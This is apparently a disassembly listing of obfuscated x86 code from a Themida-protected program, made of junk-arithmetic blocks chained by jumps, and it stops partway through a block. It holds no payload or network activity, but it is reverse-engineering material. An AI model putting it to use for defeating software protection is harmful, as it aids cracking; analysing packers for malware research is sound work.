var_12		= dword	ptr -12h
var_E		= dword	ptr -0Eh
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h
arg_18		= dword	ptr  1Ch
arg_1C		= dword	ptr  20h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_30		= dword	ptr  34h
arg_34		= dword	ptr  38h
arg_38		= dword	ptr  3Ch
arg_3C		= dword	ptr  40h
arg_40		= dword	ptr  44h
arg_44		= dword	ptr  48h

; FUNCTION CHUNK AT 0055E1FB SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0055E22F SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0055E2C4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0055E33D SIZE 00000137 BYTES
; FUNCTION CHUNK AT 0055E498 SIZE 000000D2 BYTES
; FUNCTION CHUNK AT 0055E575 SIZE 0000018E BYTES
; FUNCTION CHUNK AT 0055E70E SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0055E740 SIZE 000000DF BYTES
; FUNCTION CHUNK AT 0055E831 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0055E897 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055E8B4 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0055E913 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0055E93D SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0055E973 SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0055E9EF SIZE 0000006B BYTES
; FUNCTION CHUNK AT 0055EA6A SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0055EAC2 SIZE 000001F2 BYTES
; FUNCTION CHUNK AT 0055ECBC SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0055ED1C SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0055ED50 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0055ED9E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0056BAA8 SIZE 000000BD BYTES
; FUNCTION CHUNK AT 0056BB6E SIZE 0000005D BYTES
; FUNCTION CHUNK AT 0056BBD6 SIZE 00000076 BYTES
; FUNCTION CHUNK AT 0056BC5A SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056BC86 SIZE 00000085 BYTES
; FUNCTION CHUNK AT 0056BD26 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056BD57 SIZE 00000242 BYTES
; FUNCTION CHUNK AT 0056BFBA SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0056C01B SIZE 000000E6 BYTES
; FUNCTION CHUNK AT 0056C114 SIZE 0000018F BYTES
; FUNCTION CHUNK AT 0056C2AF SIZE 00000073 BYTES
; FUNCTION CHUNK AT 0056C33B SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 0056C3EA SIZE 00000059 BYTES
; FUNCTION CHUNK AT 0056C448 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056C48A SIZE 0000008D BYTES
; FUNCTION CHUNK AT 0056C52F SIZE 00000139 BYTES
; FUNCTION CHUNK AT 0056C689 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C6A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056C6E1 SIZE 0000007E BYTES
; FUNCTION CHUNK AT 0056C779 SIZE 00000037 BYTES
; FUNCTION CHUNK AT 0056C7C5 SIZE 000001C1 BYTES
; FUNCTION CHUNK AT 0056C998 SIZE 00000097 BYTES
; FUNCTION CHUNK AT 0056CA3A SIZE 00000083 BYTES
; FUNCTION CHUNK AT 0056CADF SIZE 000000F4 BYTES
; FUNCTION CHUNK AT 0056CC22 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0056CC5C SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0056CC87 SIZE 00000263 BYTES
; FUNCTION CHUNK AT 0056CEF9 SIZE 00000118 BYTES
; FUNCTION CHUNK AT 0056D01C SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0056D056 SIZE 00000103 BYTES
; FUNCTION CHUNK AT 0056D17B SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056D1C6 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 0056D274 SIZE 0000005F BYTES
; FUNCTION CHUNK AT 0056D2FB SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056D324 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056D374 SIZE 0000017F BYTES
; FUNCTION CHUNK AT 0056D4FB SIZE 000000F7 BYTES
; FUNCTION CHUNK AT 0056D5FD SIZE 000000F0 BYTES
; FUNCTION CHUNK AT 0056D6F3 SIZE 000000B8 BYTES
; FUNCTION CHUNK AT 0056D7B4 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0056D7D4 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 0056D832 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0056D86D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056D88C SIZE 00000027 BYTES
; FUNCTION CHUNK AT 0056D8C5 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 0056D905 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D916 SIZE 000000A8 BYTES
; FUNCTION CHUNK AT 0056D9C9 SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056DA2A SIZE 00000071 BYTES
; FUNCTION CHUNK AT 0056DAA9 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0056DB1E SIZE 00000090 BYTES
; FUNCTION CHUNK AT 0056DBCC SIZE 00000067 BYTES
; FUNCTION CHUNK AT 0056DC50 SIZE 000001B2 BYTES
; FUNCTION CHUNK AT 0056DE1C SIZE 0000007F BYTES
; FUNCTION CHUNK AT 0056DEA2 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0056DF2F SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056DFAE SIZE 00000180 BYTES
; FUNCTION CHUNK AT 0056E135 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0056E171 SIZE 00000068 BYTES
; FUNCTION CHUNK AT 0056E208 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056E241 SIZE 00000072 BYTES
; FUNCTION CHUNK AT 0056E2C3 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0056E307 SIZE 00000057 BYTES
; FUNCTION CHUNK AT 0056E381 SIZE 0000003E BYTES
; FUNCTION CHUNK AT 0056E3CF SIZE 0000007D BYTES
; FUNCTION CHUNK AT 0056E461 SIZE 000000C2 BYTES
; FUNCTION CHUNK AT 0056E545 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0056E584 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 0056E5FE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056E61E SIZE 00000139 BYTES
; FUNCTION CHUNK AT 0056E769 SIZE 000000E4 BYTES
; FUNCTION CHUNK AT 0056E855 SIZE 000000C8 BYTES
; FUNCTION CHUNK AT 0056E92B SIZE 00000041 BYTES
; FUNCTION CHUNK AT 0056E99D SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0056E9FA SIZE 00000043 BYTES
; FUNCTION CHUNK AT 0056EA70 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0056EAF5 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0056EB31 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056EB6D SIZE 00000024 BYTES
; FUNCTION CHUNK AT 0056EBA9 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056EBD0 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056EBEA SIZE 000001E3 BYTES
; FUNCTION CHUNK AT 0056EDD3 SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0056EE24 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 0056EE81 SIZE 00000045 BYTES
; FUNCTION CHUNK AT 0056EECF SIZE 00000052 BYTES
; FUNCTION CHUNK AT 0056EF36 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056EF67 SIZE 00000030 BYTES
; FUNCTION CHUNK AT 0056EFA9 SIZE 00000065 BYTES
; FUNCTION CHUNK AT 0056F04C SIZE 00000049 BYTES
; FUNCTION CHUNK AT 0056F0A6 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 0056F125 SIZE 00000056 BYTES
; FUNCTION CHUNK AT 0056F189 SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056F1AE SIZE 00000134 BYTES
; FUNCTION CHUNK AT 0056F2F4 SIZE 000000A2 BYTES
; FUNCTION CHUNK AT 0056F3A3 SIZE 00000097 BYTES
; FUNCTION CHUNK AT 0056F44E SIZE 0000003F BYTES
; FUNCTION CHUNK AT 0056F498 SIZE 0000003D BYTES
; FUNCTION CHUNK AT 0056F529 SIZE 00000050 BYTES
; FUNCTION CHUNK AT 0056F58D SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0056F5B1 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0056F5E8 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 0056F64C SIZE 0000005B BYTES
; FUNCTION CHUNK AT 0056F6CC SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056F6E1 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0056F714 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056F753 SIZE 000000D4 BYTES
; FUNCTION CHUNK AT 0056F83A SIZE 00000082 BYTES
; FUNCTION CHUNK AT 0056F8D2 SIZE 00000081 BYTES
; FUNCTION CHUNK AT 0056F96E SIZE 0000014F BYTES
; FUNCTION CHUNK AT 0056FACE SIZE 0000007D BYTES
; FUNCTION CHUNK AT 0056FB54 SIZE 000000A7 BYTES
; FUNCTION CHUNK AT 0056FC0C SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056FC2D SIZE 0000004B BYTES
; FUNCTION CHUNK AT 0056FC91 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056FCBC SIZE 00000161 BYTES
; FUNCTION CHUNK AT 0056FE33 SIZE 0000004F BYTES
; FUNCTION CHUNK AT 0056FE8E SIZE 00000253 BYTES
; FUNCTION CHUNK AT 005700E7 SIZE 00000132 BYTES
; FUNCTION CHUNK AT 00570243 SIZE 00000100 BYTES
; FUNCTION CHUNK AT 0057034B SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00570369 SIZE 00000042 BYTES
; FUNCTION CHUNK AT 005703BA SIZE 00000025 BYTES
; FUNCTION CHUNK AT 005703E6 SIZE 00000035 BYTES
; FUNCTION CHUNK AT 00570428 SIZE 000000EF BYTES
; FUNCTION CHUNK AT 0057051D SIZE 000000FC BYTES
; FUNCTION CHUNK AT 00570626 SIZE 0000003B BYTES
; FUNCTION CHUNK AT 00570667 SIZE 00000069 BYTES
; FUNCTION CHUNK AT 005706EB SIZE 00000059 BYTES
; FUNCTION CHUNK AT 00570774 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570797 SIZE 00000131 BYTES
; FUNCTION CHUNK AT 005708DB SIZE 00000016 BYTES
; FUNCTION CHUNK AT 00570903 SIZE 00000163 BYTES
; FUNCTION CHUNK AT 00570A75 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00570A98 SIZE 000000A2 BYTES
; FUNCTION CHUNK AT 00570B56 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 00570B85 SIZE 00000058 BYTES
; FUNCTION CHUNK AT 00570BEC SIZE 0000006C BYTES
; FUNCTION CHUNK AT 00570C8B SIZE 00000037 BYTES
; FUNCTION CHUNK AT 00570CD3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00570D24 SIZE 00000170 BYTES
; FUNCTION CHUNK AT 00570ECE SIZE 0000007A BYTES
; FUNCTION CHUNK AT 00570F72 SIZE 000000BF BYTES
; FUNCTION CHUNK AT 00571037 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00571065 SIZE 00000051 BYTES
; FUNCTION CHUNK AT 005710C1 SIZE 0000009C BYTES
; FUNCTION CHUNK AT 00571178 SIZE 0000008D BYTES
; FUNCTION CHUNK AT 00571227 SIZE 00000070 BYTES
; FUNCTION CHUNK AT 005712A3 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005712E1 SIZE 0000004E BYTES
; FUNCTION CHUNK AT 0057133C SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057135F SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0057139E SIZE 0000001D BYTES
; FUNCTION CHUNK AT 005713C1 SIZE 000000FA BYTES
; FUNCTION CHUNK AT 005714DD SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0057150D SIZE 0000010C BYTES
; FUNCTION CHUNK AT 00571621 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0057164A SIZE 000000A8 BYTES
; FUNCTION CHUNK AT 005716FB SIZE 0000016C BYTES
; FUNCTION CHUNK AT 00571882 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005718A0 SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005718CC SIZE 00000013 BYTES
; FUNCTION CHUNK AT 005718F2 SIZE 000000A6 BYTES
; FUNCTION CHUNK AT 0057199E SIZE 000000C9 BYTES
; FUNCTION CHUNK AT 00571A83 SIZE 000000D8 BYTES
; FUNCTION CHUNK AT 00571B67 SIZE 0000002D BYTES
; FUNCTION CHUNK AT 00571BAA SIZE 000000B0 BYTES
; FUNCTION CHUNK AT 00571C77 SIZE 00000122 BYTES
; FUNCTION CHUNK AT 00571DAF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00571DCB SIZE 00000076 BYTES
; FUNCTION CHUNK AT 00571E69 SIZE 00000034 BYTES
; FUNCTION CHUNK AT 00571EB2 SIZE 00000043 BYTES
; FUNCTION CHUNK AT 00571F00 SIZE 000001E3 BYTES
; FUNCTION CHUNK AT 00572107 SIZE 000001D5 BYTES
; FUNCTION CHUNK AT 005722F0 SIZE 00000074 BYTES
; FUNCTION CHUNK AT 00572382 SIZE 00000033 BYTES
; FUNCTION CHUNK AT 005723C3 SIZE 000000AF BYTES
; FUNCTION CHUNK AT 0057247A SIZE 000000A0 BYTES
; FUNCTION CHUNK AT 00572522 SIZE 00000194 BYTES
; FUNCTION CHUNK AT 005726BF SIZE 000000B5 BYTES
; FUNCTION CHUNK AT 0057278F SIZE 0000002C BYTES
; FUNCTION CHUNK AT 005727D1 SIZE 00000031 BYTES
; FUNCTION CHUNK AT 0057284F SIZE 0000016D BYTES
; FUNCTION CHUNK AT 005729C6 SIZE 000000BE BYTES
; FUNCTION CHUNK AT 00572A95 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00572ACB SIZE 00000030 BYTES
; FUNCTION CHUNK AT 00572B01 SIZE 00000173 BYTES
; FUNCTION CHUNK AT 00572C7F SIZE 000000C1 BYTES
; FUNCTION CHUNK AT 00572D4E SIZE 00000039 BYTES

		sub	esp, 4
		jmp	loc_566CB0
; ---------------------------------------------------------------------------


loc_55EDAF:				; CODE XREF: sub_55EDA7+CE6Ej
		add	ecx, 4
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp+0]
		jmp	loc_56A071
; ---------------------------------------------------------------------------


loc_55EDC5:				; CODE XREF: sub_55EDA7+5ECFj
		push	ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 4
		push	eax
		jmp	loc_5609BA
; ---------------------------------------------------------------------------


loc_55EDD4:				; CODE XREF: sub_55EDA7+167Bj
		add	[esp+0Ch+var_8], 43DD33BFh
		pop	esi
		mov	eax, [esp+8+var_8]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+4+var_4]
		xor	[esp+4+var_4], eax
		xor	eax, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		idiv	ecx
		push	6125h
		mov	[esp+8+var_8], edx
		push	eax
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55EE08:				; CODE XREF: sub_55EDA7+AA36j
		xor	edx, 798E44D6h
		sub	ebp, edx
		pop	edx
		add	edi, ebp
		pop	ebp
		add	edi, ebp
		sub	edi, 34B51D62h
		mov	ebp, [esp+8+var_8]
		push	edi
		push	esp
		pop	edi
		jmp	loc_5613DF
; ---------------------------------------------------------------------------


loc_55EE27:				; CODE XREF: sub_55EDA7+1122Bj
		sub	ebx, 0E84CC99Bh
		jmp	loc_55FE55
; ---------------------------------------------------------------------------


loc_55EE32:				; CODE XREF: sub_55EDA7+466j
		mov	[esp+0Ch+var_E+2], eax
		mov	eax, 50E076ACh
		xor	eax, 303C2F8Bh
		xor	ebx, eax
		pop	eax
		jmp	loc_568C40
; ---------------------------------------------------------------------------


loc_55EE47:				; CODE XREF: sub_55EDA7+10503j
		push	ecx
		mov	ecx, 41E129E1h
		shl	ecx, 3
		shr	ecx, 6
		jmp	loc_55E498
; ---------------------------------------------------------------------------


loc_55EE58:				; CODE XREF: sub_55EDA7+61FDj
		pop	ebp
		add	ebx, 4
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		jmp	loc_56B564
; ---------------------------------------------------------------------------
		movzx	ax, byte ptr [edx]
		push	ecx
		mov	ecx, esp
		push	ebp
		push	40D0h
		jmp	loc_5705CF
; ---------------------------------------------------------------------------


loc_55EE7C:				; CODE XREF: sub_55EDA7+12993j
		and	ebx, 3EA0780Ah
		and	ebx, 9985CC5h
		sub	ebx, 0F0CBB919h
		add	eax, ebx
		mov	ebx, [esp+14h+var_16+2]
		add	esp, 4
		push	[esp+10h+var_12+2]
		push	[esp+14h+var_16+2]
		mov	ecx, [esp+18h+var_1A+2]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+18h+var_1A+2]
		jmp	loc_56F353
; ---------------------------------------------------------------------------


loc_55EEBC:				; CODE XREF: sub_55EDA7+1A0Cj
		push	ebx
		mov	bl, 49h
		jmp	loc_55F0D8
; ---------------------------------------------------------------------------


loc_55EEC4:				; CODE XREF: sub_55EDA7+1322Bj
		add	eax, ebx
		mov	ebx, [esp+1Ch+var_1E+2]
		add	esp, 4
		sub	eax, 4
		push	eax
		push	[esp+1Ch+var_1A+2]
		pop	eax
		pop	[esp+1Ch+var_1E+2]
		jmp	loc_5628F6
; ---------------------------------------------------------------------------


loc_55EEDF:				; CODE XREF: sub_55EDA7+6E0j
		mov	esi, 41C746C7h
		jmp	loc_56D192
; ---------------------------------------------------------------------------


loc_55EEE9:				; CODE XREF: sub_55EDA7+57A3j
		mov	eax, edx
		pop	edx
		add	[esp+14h+var_12+2], eax
		pop	eax
		jmp	loc_5672FB
; ---------------------------------------------------------------------------


loc_55EEF6:				; CODE XREF: sub_55EDA7+D4A2j
		mov	[esp+10h+var_12+2], esi
		push	edx
		push	64EB370Ch
		pop	edx
		push	edx
		push	ecx
		jmp	loc_5723C3
; ---------------------------------------------------------------------------


loc_55EF07:				; CODE XREF: sub_55EDA7+B2EAj
		push	ebp
		jmp	loc_566561
; ---------------------------------------------------------------------------
		push	dword ptr fs:[edx]
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55EF15:				; CODE XREF: sub_55EDA7+13BB2j
		mov	ecx, [esp+24h+var_26+2]
		add	esp, 4
		add	esp, 4
		add	ecx, 4
		jmp	loc_5684F5
; ---------------------------------------------------------------------------


loc_55EF29:				; CODE XREF: sub_55EDA7+6E42j
		mov	ecx, 228D1381h
		push	esi
		mov	esi, 87218FBh
		neg	esi
		and	esi, 7A94501Dh
		dec	esi
		add	esi, 0C853DE26h
		and	ecx, esi
		pop	esi
		dec	ecx
		sub	esp, 4
		mov	[esp+20h+var_22+2], edi
		push	edx
		push	ebp
		mov	ebp, 5D97519Bh
		push	ebp
		xor	[esp+2Ch+var_2E+2], 1B6030ACh
		pop	edx
		xor	edx, 1B6030ACh
		jmp	loc_569957
; ---------------------------------------------------------------------------


loc_55EF6B:				; CODE XREF: sub_55EDA7+1021Ej
		not	ebx
		push	ebp
		mov	ebp, 422C6446h
		inc	ebp
		add	ebp, 452C5ADDh
		xor	ebp, 1AD76C1h
		jmp	loc_56346C
; ---------------------------------------------------------------------------


loc_55EF85:				; CODE XREF: sub_55EDA7+9E01j
		mov	ebp, [esp+2Ch+var_2E+2]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_56ACA4
; ---------------------------------------------------------------------------


loc_55EF96:				; CODE XREF: sub_55EDA7+9D77j
					; DATA XREF: Themida_:0055DF18o
		push	7762h
		mov	[esp+34h+var_36+2], esi
		push	eax
		mov	eax, 2C7E3519h
		mov	esi, eax
		jmp	loc_56E7AF
; ---------------------------------------------------------------------------


loc_55EFAB:				; CODE XREF: sub_55EDA7+A509j
		sub	esi, ebx
		pop	ebx
		add	esi, 0EA4C069Ch
		jmp	loc_55F8CE
; ---------------------------------------------------------------------------


loc_55EFB9:				; CODE XREF: sub_55EDA7+B18j
		add	ebx, 4
		add	ebx, 4
		jmp	loc_56019E
; ---------------------------------------------------------------------------


loc_55EFCA:				; CODE XREF: sub_55EDA7+163Dj
		mov	ecx, 38752CADh
		mov	edi, ecx
		pop	ecx
		add	edi, 72480F4Bh
		jmp	loc_56110E
; ---------------------------------------------------------------------------


loc_55EFDD:				; CODE XREF: sub_55EDA7+B8FEj
		mov	edx, edi
		pop	edi
		shl	edx, 4
		dec	edx
		jmp	loc_56176F
; ---------------------------------------------------------------------------


loc_55EFE9:				; CODE XREF: sub_55EDA7+206Cj
		pop	edx
		push	1D13h
		mov	[esp+2Ch+var_2E+2], ebx
		push	353525A8h
		pop	ebx
		or	ebx, 37067078h
		or	ebx, 31626D2Bh
		not	ebx
		sub	ebx, 0C8888205h
		sub	eax, 70334006h
		add	eax, 729803F7h
		jmp	loc_55E7C8
; ---------------------------------------------------------------------------


loc_55F01B:				; CODE XREF: sub_55EDA7+11F89j
		pop	ebp
		push	esi
		push	[esp+2Ch+var_2A+2]
		pop	esi
		pop	[esp+2Ch+var_2E+2]
		pop	esp
		push	ecx
		jmp	loc_561CB1
; ---------------------------------------------------------------------------


loc_55F02C:				; CODE XREF: sub_571031+1j
		push	1916h
		mov	[esp+2Ch+var_2E+2], eax
		mov	ebp, [esp+2Ch+var_2E+2]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+30h+var_32+2]
		pop	esp
		pop	eax
		jmp	loc_563A8C
; ---------------------------------------------------------------------------


loc_55F04D:				; CODE XREF: sub_55EDA7+3596j
		sub	ch, 0A5h
		jmp	loc_562589
; ---------------------------------------------------------------------------


loc_55F055:				; CODE XREF: sub_55EDA7+35E2j
		pop	dx
		jmp	loc_560AE5
; ---------------------------------------------------------------------------


loc_55F05C:				; CODE XREF: sub_55EDA7+2BDAj
		sub	ecx, 44C405Ch
		add	edi, ecx
		jmp	loc_55ED9E
; ---------------------------------------------------------------------------


loc_55F069:				; CODE XREF: sub_55EDA7+C1CAj
		push	[esp+26h+var_26]
		pop	ebp
		add	esp, 4
		jmp	loc_565803
; ---------------------------------------------------------------------------


loc_55F075:				; CODE XREF: sub_55EDA7+2604j
		push	49EF0EEAh
		jmp	loc_5710A5
; ---------------------------------------------------------------------------


loc_55F07F:				; CODE XREF: sub_55E217+1398Ej
		mov	esi, edi
		push	[esp+26h+var_26]
		pop	edi
		jmp	sub_56FE1D
; ---------------------------------------------------------------------------


loc_55F08A:				; CODE XREF: sub_56FC78+ED9j
		push	edi
		mov	edi, 53FE770Fh
		add	esi, 55C56C33h
		add	esi, edi
		sub	esi, 55C56C33h
		mov	edi, [esp+2Ah+var_2A]
		jmp	loc_5630E7
; ---------------------------------------------------------------------------


loc_55F0A6:				; CODE XREF: sub_55EDA7+13664j
		mov	[esp+2Ah+var_2A], edi
		jmp	loc_57063E
; ---------------------------------------------------------------------------


loc_55F0AE:				; CODE XREF: sub_55EDA7+43BBj
		add	esi, 4
		jmp	loc_5664D1
; ---------------------------------------------------------------------------


loc_55F0B9:				; CODE XREF: sub_55EDA7+104E9j
		sub	edx, 71D67F06h
		jmp	loc_5623F0
; ---------------------------------------------------------------------------


loc_55F0C4:				; CODE XREF: sub_55EDA7+A6D7j
		sub	esi, 297E4127h
		and	esi, 924EE3h
		not	esi
		push	ecx
		jmp	loc_565DA8
; ---------------------------------------------------------------------------


loc_55F0D8:				; CODE XREF: sub_55EDA7+118j
		mov	al, bl
		pop	ebx
		sub	ch, al
		jmp	loc_560883
; ---------------------------------------------------------------------------


loc_55F0E2:				; CODE XREF: sub_55EDA7+11597j
		push	ebp
		push	esp
		pop	ebp
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	edx
		mov	edx, 4
		sub	ecx, edx
		pop	edx
		push	ecx
		jmp	loc_564B3A
; ---------------------------------------------------------------------------


loc_55F0FD:				; CODE XREF: sub_55EDA7+FC23j
		push	67C9h
		mov	[esp+28h+var_2A+2], eax
		push	[esp+28h+var_2A+2]
		push	[esp+2Ch+var_2E+2]
		push	[esp+30h+var_32+2]
		pop	ebx
		add	esp, 4
		jmp	loc_560EBB
; ---------------------------------------------------------------------------


loc_55F117:				; CODE XREF: sub_55EDA7+10BA7j
		xor	esi, 285B2670h
		jmp	loc_569CF8
; ---------------------------------------------------------------------------


loc_55F122:				; CODE XREF: sub_55EDA7+CEA0j
		mov	eax, 5B30B982h
		sub	eax, esi
		pop	esi
		add	edi, eax
		pop	eax
		xor	esi, edi
		pop	edi
		sub	esp, 4
		mov	[esp+24h+var_26+2], esi
		jmp	loc_568354
; ---------------------------------------------------------------------------


loc_55F13E:				; CODE XREF: sub_55EDA7+B3A1j
		mov	ebp, [esp+24h+var_26+2]
		jmp	loc_56D184
; ---------------------------------------------------------------------------


loc_55F146:				; CODE XREF: sub_55EDA7+31BBj
		push	[esp+24h+var_22+2]
		pop	edi
		pop	[esp+24h+var_26+2]
		mov	esp, [esp+20h+var_22+2]
		test	cl, al
		pushf
		jmp	loc_55E1FB
; ---------------------------------------------------------------------------


loc_55F159:				; CODE XREF: sub_55EDA7+AF37j
		mov	ebx, 1EBA1C07h
		jmp	loc_5680BC
; ---------------------------------------------------------------------------


loc_55F163:				; CODE XREF: sub_55EDA7+2138j
		xchg	ebx, [esp+24h+var_26+2]
		pop	esp
		push	eax
		push	561Bh
		jmp	loc_56831F
; ---------------------------------------------------------------------------


loc_55F172:				; CODE XREF: sub_55EDA7+CF55j
		or	ebx, 8804B42h
		jmp	loc_56DE31
; ---------------------------------------------------------------------------


loc_55F17D:				; CODE XREF: sub_55EDA7+D8BCj
		mov	ebp, 2D0326EDh
		sub	eax, ebp
		pop	ebp
		pop	ebp
		jmp	loc_56D0A9
; ---------------------------------------------------------------------------


loc_55F18B:				; CODE XREF: sub_55EDA7+9A64j
		sub	ah, 0A9h
		jmp	loc_56CB91
; ---------------------------------------------------------------------------


loc_55F193:				; CODE XREF: sub_55EDA7+EF99j
		and	bl, 76h
		and	bl, 0F9h
		add	bl, 87h
		add	dh, bl
		pop	ebx
		add	ah, dh
		pop	edx
		xor	ah, 70h
		add	bl, ah
		push	[esp+18h+var_1A+2]
		pop	eax
		add	esp, 4
		sub	bl, al
		jmp	loc_564855
; ---------------------------------------------------------------------------


loc_55F1B8:				; CODE XREF: sub_55EDA7+4386j
		xchg	eax, [esp+14h+var_16+2]
		mov	esp, [esp+14h+var_16+2]
		mov	[esp+14h+var_16+2], eax
		jmp	loc_565784
; ---------------------------------------------------------------------------


loc_55F1C6:				; CODE XREF: sub_55EDA7+863Fj
		push	[esp+14h+var_16+2]
		jmp	loc_571F76
; ---------------------------------------------------------------------------


loc_55F1CE:				; CODE XREF: sub_55EDA7+E29Cj
		sub	eax, ecx
		jmp	loc_5690C4
; ---------------------------------------------------------------------------


loc_55F1D5:				; CODE XREF: sub_55EDA7+130F1j
		mov	[esp+18h+var_1A+2], edi
		mov	edi, 60D71865h
		add	edi, 0B84100FDh
		jmp	loc_5620DF
; ---------------------------------------------------------------------------


loc_55F1E8:				; CODE XREF: sub_55EDA7+47EEj
		add	ebx, 0CC438847h
		jmp	loc_565DA1
; ---------------------------------------------------------------------------


loc_55F1F3:				; CODE XREF: sub_55EDA7-4D4j
		pop	edx
		mov	dl, 95h
		jmp	loc_55E50B
; ---------------------------------------------------------------------------


loc_55F1FB:				; CODE XREF: sub_55EDA7+7374j
		mov	ebx, [esp-14h+arg_10]
		add	esp, 4
		xchg	eax, ebx
		not	eax
		xchg	eax, ebx
		push	1065h
		jmp	loc_55EE32
; ---------------------------------------------------------------------------


loc_55F212:				; CODE XREF: sub_55EDA7+1590j
		add	esp, 4
		pop	[esp-18h+arg_14]
		mov	esp, [esp-1Ch+arg_18]
		mul	ecx
		push	6DE1h
		jmp	loc_564BDD
; ---------------------------------------------------------------------------


loc_55F22A:				; CODE XREF: sub_56D048-8D4j
		mov	eax, 69215663h
		and	eax, 41F16426h
		sub	eax, 2D7FEE65h
		xor	ebx, eax
		pop	eax
		sub	esp, 4
		mov	[esp-18h+arg_14], ebp
		push	ebx
		push	esi
		push	0D937C6Bh
		pop	esi
		sub	esi, 51B71348h
		jmp	loc_56EAFD
; ---------------------------------------------------------------------------


loc_55F255:				; CODE XREF: sub_55EDA7+D736j
		sub	bl, 3Fh
		push	edx
		mov	dh, 45h
		xor	bl, dh
		mov	edx, [esp-0Ch+arg_8]
		add	esp, 4
		mov	ah, bl
		pop	ebx
		jmp	loc_5716EB
; ---------------------------------------------------------------------------


loc_55F26E:				; CODE XREF: sub_55EDA7+371Aj
		mov	edx, [esp-14h+arg_10]
		push	edx
